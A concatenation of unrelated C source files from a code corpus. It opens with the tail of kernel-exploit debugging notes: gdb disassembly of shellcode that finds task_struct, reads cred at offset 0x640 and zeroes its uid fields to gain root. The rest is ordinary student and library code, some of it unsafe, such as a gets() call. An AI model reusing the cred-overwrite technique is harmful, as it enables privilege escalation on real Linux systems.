/ $ cat /tmp/kallsyms | grep ip_mc_drop_socket
ffffffff81833270 T ip_mc_drop_socket
gdb-peda$ x /50i 0xffffffff81833270
0xffffffff818332f7 <ip_mc_drop_socket+135>:
call 0xffffffff810f1250 <kfree_call_rcu>
2. shellcode修改 cred 失败,可能是 cred 相对于 task_struct 结构首地址的偏移找的有问题
gdb-peda$ x /50i 0x4009ce
0x4009ce: push rbp
0x4009cf: mov rbp,rsp
0x4009d2: sub rsp,0x18
0x4009d6: mov edi,DWORD PTR ds:0x6dbbf0
0x4009dd: call QWORD PTR ds:0x6da090
0x4009e4: mov QWORD PTR [rbp-0x8],rax
0x4009e8: mov rax,QWORD PTR [rbp-0x8]
0x4009ec: mov esi,0x0
0x4009f1: mov rdi,rax
0x4009f4: call QWORD PTR ds:0x6da098
0x4009fb: mov QWORD PTR [rbp-0x10],rax
0x4009ff: mov rax,QWORD PTR [rbp-0x10]
0x400a03: mov rax,QWORD PTR [rax+0x640]
0x400a0a: mov QWORD PTR [rbp-0x18],rax
0x400a0e: mov rax,QWORD PTR [rbp-0x18]
0x400a12: add rax,0x4
0x400a16: mov DWORD PTR [rax],0x0
0x400a1c: mov rax,QWORD PTR [rbp-0x18]
0x400a20: add rax,0x8
0x400a24: mov DWORD PTR [rax],0x0
0x400a2a: mov rax,QWORD PTR [rbp-0x18]
0x400a2e: add rax,0xc
=> 0x400a32: mov DWORD PTR [rax],0x0
0x400a38: mov rax,QWORD PTR [rbp-0x18]
0x400a3c: add rax,0x10
0x400a40: mov DWORD PTR [rax],0x0
0x400a46: mov rax,QWORD PTR [rbp-0x18]
0x400a4a: add rax,0x14
0x400a4e: mov DWORD PTR [rax],0x0
0x400a54: mov rax,QWORD PTR [rbp-0x18]
0x400a58: add rax,0x18
0x400a5c: mov DWORD PTR [rax],0x0
0x400a62: mov rax,QWORD PTR [rbp-0x18]
0x400a66: add rax,0x1c
0x400a6a: mov DWORD PTR [rax],0x0
0x400a70: mov rax,QWORD PTR [rbp-0x18]
0x400a74: add rax,0x20
0x400a78: mov DWORD PTR [rax],0x0
0x400a7e: nop
0x400a7f: leave
0x400a80: ret
gdb-peda$
Warning: not running or target is remote
0x0000000000400a16 in ?? ()
gdb-peda$
Warning: not running or target is remote
0xffffffff818c8103 in page_fault () at arch/x86/entry/entry_64.S:1011
1011 trace_idtentry page_fault do_page_fault has_error_code=1
在 0x4009fb 处查看获取的 task_struct 结构具体是什么?
gdb-peda$ ni
Warning: not running or target is remote
0x00000000004009fb in ?? ()
gdb-peda$ i r
rax 0xffff88001fa5b500 0xffff88001fa5b500
gdb-peda$ p/x &(*(struct task_struct *)0)->cred // 所以 cred成员相对于task_struct结构首地址相差 0x640, 需修改
$2 = 0x640
*/
|
the_stack_data/460887.c
|
#include <stdio.h>
int main(int argc, char* argv[])
{
int distance = 100;
float power = 2.345f;
double super_power = 56789.4532;
char initial = 'A';
char first_name[] = "Zed";
char last_name[] = "Shaw";
printf("You are %d miles away.\n", distance);
printf("You have %f levels of power.\n", power);
printf("You have %f awesome super powers.\n", super_power);
printf("I have an initial %c.\n", initial);
printf("I have a first name %s.\n", first_name);
printf("I have a last name %s.\n", last_name);
// How to break it: changing order of arguments for '%c' and '%s'.
//
// Why? Reading null-terminated string for '%s' from character
// variable will cause a segmentation fault.
printf("My whole name is %s %c. %s.\n", first_name, initial, last_name);
return 0;
}
|
the_stack_data/146414.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <stdbool.h>
#define MAX_N 20
#define MIN_N 1
#define MAX_R 50
#define MIN_R 1
#define MAX_BUFFER 10000
#define MIN_BUFFER 10
#define MAX_LENGTH 256
// TODO: buffer finishes, wordArray size (realloc), merger, check leaks
typedef struct{
char **buf;
int writeIndex;
int readIndex;
int count;
bool isDone;
pthread_mutex_t lock;
pthread_cond_t spaceAvailable; // less
pthread_cond_t itemAvailable; // more
} buffer_t;
// global variables
int N;
int R;
int bufferSize;
buffer_t* **buffers; // buffers between mapper & reducer
buffer_t* *rbuffers; // buffers between reducer & merger
pthread_t *tidMapper;
pthread_t *tidReducer;
// takes a char array and converts each char into int and finds the sum
int hash(char *w){
int size = strlen(w);
int i, c = 0;
for(i = 0; i < size; i++){
c += w[i];
}
return c;
}
// sorting strings function adapted to qsort, inspired by linux man
int cmpstring(const void *w1, const void *w2){
return strcmp(*(char**)w1, *(char**)w2);
}
// mapper thread function
void *mapper(void *arg){
char *fileName;
fileName = (char*)arg;
FILE *inputFile;
int j = 0, k = 0;
char word[MAX_LENGTH];
// correct thread selection
pthread_t id = pthread_self();
while(pthread_equal(id, tidMapper[j]) == 0){
j++;
}
inputFile = fopen(fileName, "r");
for(k = 0; k < R; k++){
buffers[j][k]->buf = (char**)malloc(bufferSize * sizeof(char*));
}
// read input files then partition words into buffers according to their hash results
while(fscanf(inputFile, "%255s", word) != EOF){
int i;
i = hash(word) % R;
pthread_mutex_lock(&(buffers[j][i]->lock));
// critical section entered
while(buffers[j][i]->count == bufferSize){
pthread_cond_wait(&(buffers[j][i]->spaceAvailable), &(buffers[j][i]->lock));
}
buffers[j][i]->buf[buffers[j][i]->writeIndex] = (char*)malloc(strlen(word) + 1);
strcpy(buffers[j][i]->buf[buffers[j][i]->writeIndex], word);
buffers[j][i]->writeIndex = ((buffers[j][i]->writeIndex + 1) % bufferSize);
buffers[j][i]->count++;
pthread_cond_signal(&(buffers[j][i]->itemAvailable));
pthread_mutex_unlock(&(buffers[j][i]->lock));
// critical section exited
}
// sync threads
for(k = 0; k < R; k++){
pthread_mutex_lock(&(buffers[j][k]->lock));
// critical section entered
while(buffers[j][k]-> count != 0){
pthread_cond_wait(&(buffers[j][k]->spaceAvailable), &(buffers[j][k]->lock));
}
buffers[j][k]->isDone = true;
pthread_cond_signal(&(buffers[j][k]->itemAvailable));
pthread_mutex_unlock(&(buffers[j][k]->lock));
// critical section exited
}
fclose(inputFile);
return NULL;
}
// reducer thread function
void *reducer(void *arg){
int i = 0, j = 0, k = 0;
int sameCount = 0;
int count = 0;
// correct thread selection
pthread_t id = pthread_self();
while(pthread_equal(id, tidReducer[j]) == 0){
j++;
}
// allocate buf array
rbuffers[j]->buf = (char**)malloc(bufferSize * sizeof(char*)); // does this need realloc?
// allocate word array
char **wordArray = (char**)malloc(250000 * sizeof(char*));
// read from mapper and write to array for sorting
for(i = 0; i < N; i++){
pthread_mutex_lock(&(buffers[i][j]->lock));
// critical section entered
while(buffers[i][j]->count == 0 && buffers[i][j]->isDone == false){
pthread_cond_wait(&(buffers[i][j]->itemAvailable), &(buffers[i][j]->lock));
}
if(buffers[i][j]->count == 0 && buffers[i][j]->isDone == true){
pthread_mutex_unlock(&(buffers[i][j]->lock));
}
else{
while(buffers[i][j]->count > 0){
wordArray[count] = (char*)malloc(strlen(buffers[i][j]->buf[buffers[i][j]->readIndex]) + 1);
//wordArray = (char**)realloc(wordArray, (count * sizeof(char*)));
strcpy(wordArray[count], buffers[i][j]->buf[buffers[i][j]->readIndex]);
count++;
buffers[i][j]->readIndex = ((buffers[i][j]->readIndex + 1) % bufferSize);
buffers[i][j]->count--;
//buffers[i][j]->buf[buffers[i][j]->readIndex] = NULL;
free(buffers[i][j]->buf[buffers[i][j]->readIndex]);
}
pthread_cond_signal(&(buffers[i][j]->spaceAvailable));
pthread_mutex_unlock(&(buffers[i][j])->lock);
}
}
qsort(wordArray, count, sizeof(char*), cmpstring);
// write to merger
char* currWord = NULL;
for(k = 0; k < count; k++){
if(currWord == NULL){
currWord = wordArray[k];
sameCount = 1;
}
else{
if(strcmp(currWord, wordArray[k]) == 0){
sameCount++;
}
else{
pthread_mutex_lock(&(rbuffers[j])->lock);
// critical section entered
while(rbuffers[j]->count == bufferSize){
pthread_cond_wait(&(rbuffers[j]->spaceAvailable), &(rbuffers[j]->lock));
}
rbuffers[j]->buf[rbuffers[j]->writeIndex] = (char*)malloc(strlen(currWord) + 10); // needs more size because of int
sprintf(rbuffers[j]->buf[rbuffers[j]->writeIndex], "%s %d", currWord, sameCount);
rbuffers[j]->writeIndex = (rbuffers[j]->writeIndex+1) % bufferSize;
rbuffers[j]->count++;
pthread_cond_signal(&(rbuffers[j]->itemAvailable));
pthread_mutex_unlock(&(rbuffers[j])->lock);
// critical section exited
currWord = wordArray[k];
sameCount = 1;
}
}
}
if(currWord != NULL){
pthread_mutex_lock(&(rbuffers[j])->lock);
// critical section entered
while(rbuffers[j]->count == bufferSize){
pthread_cond_wait(&(rbuffers[j]->spaceAvailable), &(rbuffers[j]->lock));
}
rbuffers[j]->buf[rbuffers[j]->writeIndex] = (char*)malloc(strlen(currWord) + 10); // needs more size because of int
sprintf(rbuffers[j]->buf[rbuffers[j]->writeIndex], "%s %d", currWord, sameCount);
rbuffers[j]->writeIndex = (rbuffers[j]->writeIndex+1) % bufferSize;
rbuffers[j]->count++;
pthread_cond_signal(&(rbuffers[j]->itemAvailable));
pthread_mutex_unlock(&(rbuffers[j])->lock);
// critical section exited
}
// deallocs
for(k = 0; k < count; k++){
free(wordArray[k]);
}
free(wordArray);
return NULL;
}
int main(int argc, char **argv){
// main thread, also merger thread
N = atoi(argv[1]); // N
R = atoi(argv[2]); // R
bufferSize = atoi(argv[argc - 1]); // buffer size
int error = 0, i, j;
FILE* fileFinal = fopen(argv[argc - 2], "w+");
// routine checks
if(N > MAX_N || N < MIN_N){
perror("Incorrect value of N!\n");
exit(EXIT_FAILURE);
}
if(R > MAX_R || R < MIN_R){
perror("Incorrect value of N!\n");
exit(EXIT_FAILURE);
}
if(bufferSize < MIN_BUFFER || bufferSize > MAX_BUFFER){
perror("Incorrect buffer size!\n");
exit(EXIT_FAILURE);
}
tidMapper = (pthread_t*)malloc(N * sizeof(pthread_t));
tidReducer = (pthread_t*)malloc(R * sizeof(pthread_t));
// allocate 2d struct pointer array
buffers = (buffer_t***)malloc(N * sizeof(buffer_t**));
for(i = 0; i < N; i++){
buffers[i] = (buffer_t**)malloc(R * sizeof(buffer_t*));
for(j = 0; j < R; j++){
buffers[i][j] = (buffer_t*)malloc(sizeof(buffer_t));
}
}
// allocate 1d struct pointer array
rbuffers = (buffer_t**)malloc(R * sizeof(buffer_t*));
for(i = 0; i < R; i++){
rbuffers[i] = (buffer_t*)malloc(sizeof(buffer_t));
}
// basic struct inits
for(i = 0; i < N; i++){
for(j = 0; j < R; j++){
(buffers[i][j])->writeIndex = 0;
(buffers[i][j])->readIndex = 0;
(buffers[i][j])->count = 0;
(buffers[i][j])->isDone = false;
}
}
for(i = 0; i < R; i++){
(rbuffers[i])->writeIndex = 0;
(rbuffers[i])->readIndex = 0;
(rbuffers[i])->count = 0;
(rbuffers[i])->isDone = false;
}
// mutex initialization
for(i = 0; i < N; i++){
for(j = 0; j < R; j++){
pthread_mutex_init(&(buffers[i][j]->lock), NULL);
}
}
for(i = 0; i < R; i++){
pthread_mutex_init(&(rbuffers[i]->lock), NULL);
}
// condition initialization
for(i = 0; i < N; i++){
for(j = 0; j < R; j++){
pthread_cond_init(&(buffers[i][j]->itemAvailable), NULL);
pthread_cond_init(&(buffers[i][j]->spaceAvailable), NULL);
}
}
for(i = 0; i < R; i++){
pthread_cond_init(&(rbuffers[i]->itemAvailable), NULL);
pthread_cond_init(&(rbuffers[i]->spaceAvailable), NULL);
}
// mapper creation
for(i = 0; i < N; i++){
error = pthread_create(&(tidMapper[i]), NULL, &mapper, argv[i + 3]);
if(error != 0){
printf("failed to create mapper thread\n");
}
}
// reducer creation
for(i = 0; i < R; i++){
error = pthread_create(&(tidReducer[i]), NULL, &reducer, NULL);
if(error != 0){
printf("failed to create reducer thread\n");
}
}
// merger thread
// allocate word array
char **finalArray = (char**)malloc(250000 * sizeof(char*));
int count = 0;
// read from mapper and write to array for sorting
for(i = 0; i < R; i++){
// pthread_mutex_lock(&(buffers[i][j]->lock));
// critical section entered
// while(buffers[i][j]->count == 0 && buffers[i][j]->isDone == false){
// pthread_cond_wait(&(buffers[i][j]->itemAvailable), &(buffers[i][j]->lock));
// }
// if(buffers[i][j]->count == 0 && buffers[i][j]->isDone == true){
// pthread_mutex_unlock(&(buffers[i][j]->lock));
// }
// else{
while(rbuffers[i]->count > 0){
finalArray[count] = (char*)malloc(strlen(rbuffers[i]->buf[rbuffers[i]->readIndex]) + 1);
//wordArray = (char**)realloc(wordArray, (count * sizeof(char*)));
strcpy(finalArray[count], rbuffers[i]->buf[rbuffers[i]->readIndex]);
count++;
rbuffers[i]->readIndex = ((rbuffers[i]->readIndex + 1) % bufferSize);
rbuffers[i]->count--;
free(rbuffers[i]->buf[rbuffers[i]->readIndex]);
}
// pthread_cond_signal(&(buffers[i][j]->spaceAvailable));
// pthread_mutex_unlock(&(buffers[i][j])->lock);
//}
}
qsort(finalArray, count, sizeof(char*), cmpstring);
for(i = 0; i < count; i++){
fprintf(fileFinal, "%s\n", finalArray[i]);
}
// condition destruction
for(i = 0; i < N; i++){
for(j = 0; j < R; j++){
pthread_cond_destroy(&(buffers[i][j]->itemAvailable));
pthread_cond_destroy(&(buffers[i][j]->spaceAvailable));
}
}
for(i = 0; i < R; i++){
pthread_cond_destroy(&(rbuffers[i]->itemAvailable));
pthread_cond_destroy(&(rbuffers[i]->spaceAvailable));
}
// mutex destruction
for(i = 0; i < N; i++){
for(j = 0; j < R; j++){
pthread_mutex_destroy(&(buffers[i][j]->lock));
}
}
for(i = 0; i < R; i++){
pthread_mutex_destroy(&(rbuffers[i]->lock));
}
for(i = 0; i < R; i++){
free(finalArray[i]);
}
free(finalArray);
for(i = 0; i < N; i++){
for(j = 0; j < R; j++){
free(buffers[i][j]);
}
free(buffers[i]);
}
free(buffers);
for(i = 0; i < R; i++){
free(rbuffers[i]);
}
free(rbuffers);
free(tidMapper);
free(tidReducer);
fclose(fileFinal);
exit(EXIT_SUCCESS);
}
|
the_stack_data/20450799.c
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int qtd = 0;
typedef struct _athlete{
char house;
char *name;
int id;
}athlete;
void mergeI(athlete *a, int l, int m, int r){
qtd--;
int i = 0, j = 0, k = l, n1 = m - l + 1, n2 = r - m;
athlete L[n1], R[n2];
for(i = 0; i < n1; i++)
L[i] = a[l+i];
for(i = 0; i < n2; i++)
R[i] = a[m+1+i];
i = 0;
while(i < n1 && j < n2){
if(L[i].id <= R[j].id)
a[k++] = L[i++];
else
a[k++] = R[j++];
}
while(i < n1) a[k++] = L[i++];
while(j < n2) a[k++] = R[j++];
}
void mergeN(athlete *a, int l, int m, int r){
qtd--;
int i = 0, j = 0, k = l, n1 = m - l + 1, n2 = r - m;
athlete L[n1], R[n2];
for(i = 0; i < n1; i++)
L[i] = a[l+i];
for(i = 0; i < n2; i++)
R[i] = a[m+1+i];
i = 0;
while(i < n1 && j < n2){
if(strcmp(L[i].name, R[j].name) <= 0)
a[k++] = L[i++];
else
a[k++] = R[j++];
}
while(i < n1) a[k++] = L[i++];
while(j < n2) a[k++] = R[j++];
}
void mergesort(athlete *a, int l, int r, char op){
if(l < r){
int m = (l+r-1)/2;
mergesort(a, l, m, op);
mergesort(a, m+1, r, op);
if(qtd > 0){
if(op == 'I') mergeI(a, l, m, r);
else mergeN(a, l, m, r);
}
}
}
int main(){
int i = 0, countF = 0, countC = 0;
char *buffer = NULL, op = 0;
athlete a[400];
scanf("%m[^\r\n]%*[\r\n]", &buffer); free(buffer);
for(i = 0; scanf("%d %m[^\r\n]%*[\r\n]", &a[i].id, &a[i].name) == 2; i++)
a[i].house = 'F';
countF = i;
scanf("%m[^\r\n]%*[\r\n]", &buffer); free(buffer);
for(; scanf("%d %m[^\r\n]%*[\r\n]", &a[i].id, &a[i].name) == 2; i++)
a[i].house = 'C';
countC = i - countF;
scanf("%c%ms %d", &op, &buffer, &qtd); free(buffer);
mergesort(a, 0, countC + countF - 1, op);
for(i = 0; i < (countC + countF); i++){
printf("%s %d %s\n", a[i].house == 'C' ? "CAASO" : "FEDERAL", a[i].id, a[i].name);
free(a[i].name);
}
return 0;
}
|
the_stack_data/86074967.c
|
/* Copyright (C) 2000-2016 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <errno.h>
#include <spawn.h>
/* Store scheduling policy in the attribute structure. */
int
posix_spawnattr_setschedpolicy (posix_spawnattr_t *attr, int schedpolicy)
{
if (schedpolicy != SCHED_OTHER && schedpolicy != SCHED_FIFO
&& schedpolicy != SCHED_RR)
return EINVAL;
/* Store the policy. */
attr->__policy = schedpolicy;
return 0;
}
|
the_stack_data/852740.c
|
/*
* this is meant to be a simple implementation of a doubly-linked list
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* create mneumonic actions for nodes */
#define DELETE 0x01
#define PRINT 0x02
#define LINECAP 1024
typedef struct node {
struct node *previous;
struct node *next;
uint8_t id;
char name[9];
} node;
static int delnode(node *node);
/* use action to determine what to call at this point */
static int getnode(char *name, int action);
static node * mknode(char *name);
static void nodewalk(uint8_t id, uint8_t clean);
static char * parse(char *input); /* return id if found, 0 if no id found but fine, -1 otherwise */
static void printnode(node *node);
/* this could probobly be done as a static variable in mknode */
extern node *origin = NULL;
int
main(void) {
/* need to do some magic here */
char *line;
char *instructions = "Commands:\n\tcreate [name]:\tcreates node with id and name\n\tdel [name]:\tdeletes node with name [name]\n\tget [name]:\tshow node info for node with [name]\n\twalk [id]:\tdisplay all nodes, starting from [id] (default 0)\n";
ssize_t captured;
size_t linecap;
node *curnode;
captured = 0;
line = NULL;
linecap = LINECAP;
if ((line = calloc(1,LINECAP)) == NULL) {
fprintf(stderr,"Cannot get memory for input!\n");
return(1);
}
/* this string should be available to print on demand */
fprintf(stdout,"%s",instructions);
fprintf(stdout,"Enter a command: ");
while ((captured = getline(&line,&linecap,stdin)) > 0) {
/* should be a better way, but I'm not terribly interested in performance here */
if (strnstr(line,"create",LINECAP) != NULL) {
parse(line);
if ((curnode = mknode(line)) != NULL) {
fprintf(stdout,"Node %s created\n",curnode->name);
}
}
else if (strnstr(line,"del",LINECAP) != NULL) {
getnode(parse(line),DELETE);
}
else if (strnstr(line,"get",LINECAP) != NULL) {
getnode(parse(line),PRINT);
}
else if (strnstr(line,"walk",LINECAP) != NULL) {
nodewalk(atoi(parse(line)),0);
} else if (strnstr(line,"help",LINECAP) != NULL) {
fprintf(stdout,"%s",instructions);
}
else {
fprintf(stdout,"Invalid command!\nExititing...\n");
/* confirmation loop was not working properly, exit on invalid input */
/*
* We're only concerned with values from 65-90
* 0100 0001 - A | 65 | 0x41
* 0101 1010 - Z | 90 | 0x5A
*
* mask should most likely be 0101 1111
*/
nodewalk(0,1);
return(-1);
}
memset(line,0,LINECAP);
}
if (line != NULL) {
free(line);
}
if (origin != NULL) {
nodewalk(0,1);
}
return(0);
}
/*
* this should delete a node from the list
* and then update the pointers of its neighbors
* should also be used to clean up before exiting.
*/
static int
delnode(node *node) {
struct node *unode; /* used for updating node ids */
unode = node; /* start off identical, but separate to preserve node value */
/* ensure that if node is the first node, we don't try updating a NULL node */
if (node->previous != NULL) {
node->previous->next = node->next;
}
/* prevent updating NULL nodes and update origin if necessary */
if (node->next != NULL) {
node->next->previous = node->previous;
for (; unode->next != NULL; unode = unode->next) {
unode->next->id--;
}
} else {
origin = node->previous;
}
free(node);
return(0);
}
/*
* This will print the node info for the
* node with a given name, else return -1
*/
static int
getnode(char *name, int action) {
node *node;
node = origin;
for (; node != NULL; node = node->previous) {
if (strnstr(node->name, name, LINECAP) != NULL) {
switch (action) {
case PRINT:
printnode(node);
break;
case DELETE:
delnode(node);
break;
default:
printnode(node);
break;
}
return(0);
} else {
fprintf(stderr,"Node %s not found!\n",name);
}
}
return(0);
}
/*
* This is the function that handles node creation
* and updating the node->next pointer of the previous node
*
* It may be necessary to tweak this such that it accepts a
* pointer to a node struct, as I'm unsure how exactly
* the best method is for keeping and tracking the items
* in the heap are
*/
static node *
mknode(char *name) {
static node *new;
if ((new = calloc(1,sizeof(*new))) == NULL) {
return(NULL);
}
/* assign values to the node structure */
if (origin == NULL) {
new->previous = NULL;
new->next = new;
new->id = 0;
} else {
new->previous = origin;
new->previous->next = new;
new->id = origin->id + 1;
new->next = NULL;
}
origin = new;
strlcpy(new->name,name,8);
return(new);
}
/*
* This function simply walks the whole list
* until node->next == NULL, and passes the node
* to the node printing function
*/
static void
nodewalk(uint8_t id, uint8_t clean) {
node *node;
node = origin;
for (; node != NULL && node->id != id; node = node->previous) {
;
}
if (clean == 0) {
for (; node != NULL; node = node->next) {
fprintf(stdout,"Node info for node %d\n",node->id);
printnode(node);
}
} else {
/* this should allow the cleanup to work regardless of if node->id 0 exists */
for (node = origin; node != NULL; node = node->previous) {
fprintf(stdout,"deleting node %s: %p\n",node->name, node);
delnode(node);
}
}
}
/*
* This will simply take the command from the user
* and hand off the name/id to the next function
* by modifying the string and returning an id
* if found, 0 otherwise, and -1 if an error is encountered
*/
static char *
parse(char *input) {
int i, sep;
size_t j, len;
i = j = len = sep = 0;
len = strlen(input);
for (i = 0; input[i] != ' '; i++) {
;
}
/* this is the location of the first separator */
sep = i;
for (i++,j = 0; input[j] != 0; i++,j++) {
/* this needs to convert the string to something like id\0name */
input[j] = input[i]; /* start input[j] at the character after the first separator */
if (input[i] == '\n') {
do {
input[j] = 0;
j++;
} while (j < len);
}
}
return(input);
}
/*
* This function simply dumps the contents of the
* node struct for a given node to stdout
*/
static void
printnode(node *node) {
fprintf(stdout,"node: %p\nname: %s\nid: %u\nprevious: %p\nnext: %p\n\n",node,node->name,node->id,node->previous,node->next);
}
|
the_stack_data/648097.c
|
#include<stdio.h>
#include<string.h>
int main(){
char exp[100];
int x=0;
printf("enter the expression string: ");
gets(exp);
int l=strlen(exp);
if(exp[0]!='[' && exp[0]!='{' && exp[0]!='('){
printf("FALSE");
}
else if(l%2!=0){
printf("FALSE");
}
else if(exp[l-1]!=']' && exp[l-1]!='}'&& exp[l-1]!=')'){
printf("FALSE");
}
for(int i=0;i<l;i++){
if(exp[i]!='[' && exp[i]!='{'&& exp[i]!='('){
continue;
}
for(int j=i+1;j<l;j++){
if(exp[i]=='{' && exp[j]=='}'){
if((j-i)%2==1 || j-i==1){
x=x+1;
break;
}
}
else if(exp[i]=='[' && exp[j]==']'){
if((j-i)%2==1 || j-i==1){
x=x+1;
break;
}
}
else if(exp[i]=='(' && exp[j]==')'){
if((j-i)%2==1 || j-i==1){
x=x+1;
break;
}
}
continue;
}
}
if(x==l/2){
printf("\nTRUE");
}
else{
printf("\nFALSE");
}
return 0;
}
|
the_stack_data/181614.c
|
/* Test warnings for shadowing in function prototype scope: generally
useless but of use if the parameter is used within the scope. Bug
529. */
/* Origin: Joseph Myers <[email protected]> */
/* { dg-do compile } */
/* { dg-options "-std=gnu89 -Wshadow" } */
int v; /* { dg-warning "shadowed declaration" } */
int f1(int v);
int f2(int v, int x[v]); /* { dg-warning "warning: declaration of 'v' shadows a global declaration" } */
int f3(int v, int y[sizeof(v)]); /* { dg-warning "warning: declaration of 'v' shadows a global declaration" } */
int f4(int v) { return 0; } /* { dg-warning "warning: declaration of 'v' shadows a global declaration" } */
int f5(int v, int x[v]) { return 0; } /* { dg-warning "warning: declaration of 'v' shadows a global declaration" } */
int f6(int x) { return 0; }
int f7(v) int v; { return 0; } /* { dg-warning "warning: declaration of 'v' shadows a global declaration" } */
int f8(v, w) int v; int w[v]; { return 0; } /* { dg-warning "warning: declaration of 'v' shadows a global declaration" } */
int f9(x) int x; { return 0; }
int f10(v) { return 0; } /* { dg-warning "warning: declaration of 'v' shadows a global declaration" } */
int f11(int a, int b(int a));
int f12(int a, int b(int a, int x[a])); /* { dg-warning "warning: declaration of 'a' shadows a parameter" } */
/* { dg-warning "shadowed declaration" "outer parm" { target *-*-* } 20 } */
|
the_stack_data/109910.c
|
// struct Car
// {
// byte red;
// byte grn;
// byte blu;
//
// Car()
// {
// }
//
// Car(int rgb)
// {
// }
// }
//
// struct Mocha
// {
// Car* car;
//
// Mocha()
// {
// car = new Car();
// }
// }
int main()
{
unsigned int a = 43 * 5 * 9 + 7 * 0;
// Mocha mocha;
// Mocha* m = malloc(sizeof(Mocha));
}
|
the_stack_data/167330076.c
|
#include<stdio.h>
#define MAXSTRINGLENGTH 1000
#define TRUE 1
#define FALSE 0
int getLine(char s[], int lim);
void copy(char to[], char from[]);
int reverse(char s[]);
int main() {
char line[MAXSTRINGLENGTH];
while (getLine(line, MAXSTRINGLENGTH) > 0) {
reverse(line);
printf("%s", line);
}
return 0;
}
int reverse(char line[]) {
int len, i;
char c;
for (len = 0; line[len] != '\0'; len++);
for (i = 0; i < len / 2; i++) {
c = line[i];
line[i] = line[len - 1 - i];
line[len - 1 - i] = c;
}
}
int getLine(char s[], int lim) {
int c, length, i;
for (i = 0; i < lim - 1 && (c = getchar()) != EOF; i++) {
s[i] = c;
if (c == '\n') {
++i;
break;
}
}
s[i] = '\0';
return i;
}
void copy(char to[], char from[]) {
int c;
int i = 0;
for (i = 0; from[i] != '\0'; i++) {
to[i] = from[i];
}
to[i] = '\0';
}
|
the_stack_data/97161.c
|
#include <stdint.h>
#include <stdio.h>
#include <pthread.h>
void *function(void *args)
{
const int32_t arg_i32 = *((int *)(args));
printf("Argument: %d\n", arg_i32);
return NULL;
}
int main()
{
pthread_t thread1;
pthread_t thread2;
int32_t input1 = 1;
int32_t input2 = 2;
pthread_create(&thread1, NULL, &function, (void *)(&input1));
pthread_create(&thread2, NULL, &function, (void *)(&input2));
pthread_join(thread1, NULL);
pthread_join(thread2, NULL);
return 0;
}
|
the_stack_data/38923.c
|
/*
<TAGS>string file</TAGS>
DESCRIPTION:
Modify a line, parsing it into delimited words, and modify an array of indices to each word
Behaves much like the linux "cut" command
- unlike strtok, serial delimiters are not treated as a single delimiter
- hence two consecutive delimiters, or delimiters at the beginning or end of the line, signify a missing word
- note: using strtok to identify words in a line is faster, but strtok is not appropriate for CSV files
USES:
provides a set of indices to each column in a line
suitable for reading particular columns from CSV files or other ASCII files where "blank" fields are possible
DEPENDENCY TREE:
No dependencies
ARGUMENTS:
char *line
- input, pointer to a character array
char *delimiters
- input, delimiter characters to consider
long *nwords
- address to a long integer to hold the total number of words found
RETURN VALUE:
Success: A pointer to a long-integer array holding the start locations of each word in line
- memory is allocated for this array inside the function
- the variable nwords will be updated to report the number of delimited words on the line
Blank line: NULL, nwords=0;
Memory allocation fail: NULL, nwords=-1
TEST PROGRAM:
#include <stdio.h>
#include <stdlib.h>
long *start=NULL,nwords,i;
char line[13]={"dog cat pig"};
start= xf_lineparse2(line,"\t ",&nwords);
for(i=0;i<nwords;i++) printf("%s\n",line+start[i]);
if(start!=NULL) free(start);
exit(0);
???TO DO: may be able to improve using search method more like lineparse1 (simple serial scan)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
long *xf_lineparse2(char *line,char *delimiters, long *nwords) {
char *pch;
long *start=NULL,ii;
size_t nchars;
/* IF THIS IS A BLANK LINE (CARRIAGE RETURN ONLY), THERE ARE NO WORDS, SO RETURN NULL */
nchars=strlen(line);
if(nchars==0||line[0]=='\n') {*nwords=0;return(NULL);}
/* REALLOCATE MEMORY FOR START ARRAY */
start= realloc(start,(nchars*sizeof(*start)));
if(start==NULL) {*nwords=-1;return(NULL);}
start[0]=-1;
/* FIND THE LOCATIONS OF THE DELIMITERS */
pch = strpbrk(line,delimiters);
(*nwords) = 1;
while(pch != NULL) {
ii=pch-line;
start[(*nwords)++]=ii;
pch= strpbrk(pch+1,delimiters);
}
/* RESET DELIMITERS TO '\0' */
for(ii=1;ii<(*nwords);ii++) line[start[ii]]='\0';
/* SET START POSITIONS FOR EACH WORD TO ONE PAST THE DELIMITER */
for(ii=0;ii<(*nwords);ii++) start[ii]+=1;
/* IF THE LAST WORD CONTAINS A NEWLINE, REPLACE IT WITH A NULL */
ii=start[(*nwords)-1];
while(line[ii]!='\0') {
if(line[ii]=='\n' || line[ii]=='\r') line[ii]='\0';
ii++;
}
/* ??? INVALIDATE ALL THE OTHER START SIGNALS - PROBABLY UNNECESSARY!*/
for(ii=(*nwords);ii<nchars;ii++) start[ii]=-1;
/* return the list of start times */
return(start);
}
|
the_stack_data/431747.c
|
#include <stdbool.h>
#include <stddef.h> // size_t
#include <stdlib.h> // malloc
#include <string.h> // memcpy
#define FOREACH(iter_type, item_name, iter_name) \
for (; iter_name.iter_exhausted? 0 : (item_name = iter_type ## _next(&iter_name), 1);)
typedef long long iterint;
typedef struct counti {
iterint current;
iterint step;
bool iter_exhausted;
} counti;
iterint counti_next(counti* count) {
return count->current += count->step;
}
typedef struct rangei {
iterint current;
iterint stop;
iterint step;
bool iter_exhausted;
} rangei;
int sign(long long n) {
return (n > 0) - (n < 0);
}
iterint rangei_next(rangei* range) {
int ss = sign(range->step);
iterint old = range->current;
range->current += range->step;
if (ss * range->current >= ss * range->stop) {
range->iter_exhausted = true;
}
return old;
}
typedef struct repeati {
void* to_repeat;
bool stops;
iterint times;
bool iter_exhausted;
} repeati;
void* repeati_next(repeati* repeater) {
if (repeater->stops && --repeater->times <= 0) {
repeater->iter_exhausted = true;
}
return repeater->to_repeat;
}
typedef struct copyrepeati {
repeati repeater;
size_t type_size;
bool iter_exhausted;
} copyrepeati;
